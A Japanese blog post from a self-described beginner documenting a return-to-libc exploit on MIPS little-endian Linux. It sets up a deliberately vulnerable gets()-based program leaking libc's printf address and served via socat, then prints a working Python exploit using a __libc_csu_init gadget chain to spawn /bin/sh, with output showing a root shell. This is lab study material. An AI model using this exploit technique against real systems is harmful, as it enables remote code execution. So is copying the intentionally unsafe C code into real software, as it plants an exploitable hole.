Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

mipselにおけるReturn to libcを試してみる

はじめに

前回のmipselにおけるバッファオーバーフローを用いたシェルコード実行を試してみるでは、シェルコードを実行させた。そこで、今回はReturn to libcを試してみる。

環境

前回の記事と同じ環境である。

root@debian-mipsel:~/study# uname -a
Linux debian-mipsel 4.9.0-3-4kc-malta #1 Debian 4.9.30-2 (2017-06-12) mips GNU/Linux
root@debian-mipsel:~/study# lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 9.0 (stretch)
Release:    9.0
Codename:   stretch
root@debian-mipsel:~/study# gcc --version
gcc (Debian 6.3.0-18) 6.3.0 20170516
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

脆弱性のあるプログラム

単純なスタックバッファオーバーロードでリターンアドレスを書き換えが可能なプログラムを以下に示す。 今回は攻撃を簡単にするためにlibcのアドレスを表示する仕様にしている。これはexploit中にlibcのアドレスがリークできる状況を想定している。また、後にsocatで動かすのでsetbufもしている。

//ret2libc.c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[]) {

  char buf[100];

  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  printf("%p\n", printf);

  gets(buf);
  return 0;
}

上記のプログラムを以下のようにしてコンパイルする。

root@debian-mipsel:~/study/2_ret2libc# gcc -fno-stack-protector -no-pie ret2lib.c -o ret2lib

試しに実行してみると以下のような感じ。

root@debian-mipsel:~/study/2_ret2libc# ./ret2libc
0x77e7d720
AAAA

最後にこのバイナリをsocatで動かしておく。

root@debian-mipsel:~/study/2_ret2libc# socat tcp-l:8888,reuseaddr,fork exec:./ret2libc&

バイナリを読んでみる

今回も前回同様にリターンアドレスまでのオフセットは108なので、exploitに必要なところを見てみる。
x86と違い、mipsでは関数の引数はレジスタ渡しなので、x86-64と同様になんとかしてレジスタにスタックの値を入れなくてはいけないのだが、(お手軽にいつものx86-64みたいにpop rdi; retして~みたいな方法がわからんかった)、__libc_csu_initによる3引数関数実行という一般的なテクニックが利用可能である。
以下にlibc_csu_initの重要な部分のobjdump結果を示す。

 4008d0:       8e190000        lw      t9,0(s0)
  4008d4:       26310001        addiu   s1,s1,1
  4008d8:       02a03025        move    a2,s5
  4008dc:       02802825        move    a1,s4
  4008e0:       0320f809        jalr    t9
  4008e4:       02602025        move    a0,s3
  4008e8:       1651fff9        bne     s2,s1,4008d0 <__libc_csu_init+0x60>
  4008ec:       26100004        addiu   s0,s0,4
  4008f0:       8fbf0034        lw      ra,52(sp)
  4008f4:       8fb50030        lw      s5,48(sp)
  4008f8:       8fb4002c        lw      s4,44(sp)
  4008fc:       8fb30028        lw      s3,40(sp)
  400900:       8fb20024        lw      s2,36(sp)
  400904:       8fb10020        lw      s1,32(sp)
  400908:       8fb0001c        lw      s0,28(sp)
  40090c:       03e00008        jr      ra
  400910:       27bd0038        addiu   sp,sp,56

この構造に合わせてスタックに流し込むペイロードを考えれば良い。ただし、4008d0から分かるように、ジャンプ先が格納されるt9レジスタに入る値は、s0レジスタレジスタ間接なので、呼びたい関数のアドレスが格納されているメモリのアドレスなどを指定する必要がある。今回は、execl関数のアドレスが格納されているlibc内のアドレスがあったので、これを用いてシェルを起動する。(正直、これが正しいやり方、安定したやり方なのかどうか疑問だが)

exploitを書いてみる

# x.py
import socket
import telnetlib
import struct

def sock(remoteip, remoteport):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((remoteip, remoteport))
    return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='\n'):
    data = ''
    while not data.endswith(delim):
        data += f.read(1)
    return data

def shell(s):
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()

def p(a): return struct.pack("<I",a)
def u(a): return struct.unpack("<I",a)[0]                                                                                                             [0/1969]

s, f = sock("localhost", 8888)

libc_printf = int(read_until(f),16)
libc_base = libc_printf - 0x50270
libc_execl_ptr = libc_base + 0x180464
libc_bin_sh = libc_base + 0x158054
print "libc base: 0x%x" % libc_base
print "execl_ptr: 0x%x" % libc_execl_ptr
print "/bin/sh: 0x%x" % libc_bin_sh

# Using __libc_csu_init
payload = ''
payload += 'A' * 108
payload += p(0x4008f0)       # 0x4008f0: lw ra,52(sp)
payload += 'A' * 28
payload += p(libc_execl_ptr) # lw      s0,28(sp)
payload += p(0xdeadbeef)     # lw      s1,32(sp)
payload += p(0xdeadbeef)     # lw      s2,36(sp)
payload += p(libc_bin_sh)    # lw      s3,40(sp)
payload += p(0)              # lw      s4,44(sp)
payload += p(0)              # lw      s5,48(sp)
payload += p(0x4008d0)       # lw      ra,52(sp)

f.write(payload + '\n')

shell(s)

実際に上記のプログラムを実行してみる。

root@debian-mipsel:~/study/2_ret2libc# python x.py
libc base: 0x77435000
execl_ptr: 0x775b5464
/bin/sh: 0x7758d054
id
uid=0(root) gid=0(root) groups=0(root)

実際にシェルが起動していることがわかる。